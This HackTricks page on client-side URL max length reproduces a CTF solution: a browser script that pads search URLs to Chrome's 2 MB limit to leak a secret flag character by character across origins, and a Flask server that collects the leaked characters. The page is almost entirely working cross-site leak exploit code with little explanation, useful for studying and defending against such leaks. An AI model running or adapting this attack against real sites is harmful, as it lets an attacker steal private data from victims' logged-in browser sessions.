URL Max Length - Client Side - HackTricks

# URL Max Length - Client Side

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Code from https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

    <html>
      <body></body>
      <script>
        ;(async () => {
          const curr = "http://secrets.wtl.pw/search?query=HackTM{"

          const leak = async (char) => {
            fetch("/?try=" + char)
            let w = window.open(
              curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2)
            )

            const check = async () => {
              try {
                w.origin
              } catch {
                fetch("/?nope=" + char)
                return
              }
              setTimeout(check, 100)
            }
            check()
          }

          const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

          for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise((resolve) => setTimeout(resolve, 50))
          }
        })()
      </script>
    </html>

Server side:

    from flask import Flask, request

    app = Flask(__name__)

    CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
    chars = []

    @app.route('/', methods=['GET'])
    def index():
        global chars

        nope = request.args.get('nope', '')
        if nope:
            chars.append(nope)

        remaining = [c for c in CHARSET if c not in chars]

        print("Remaining: {}".format(remaining))

        return "OK"

    @app.route('/exploit.html', methods=['GET'])
    def exploit():
        return open('exploit.html', 'r').read()

    if __name__ == '__main__':
        app.run(host='0.0.0.0', port=1337)

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.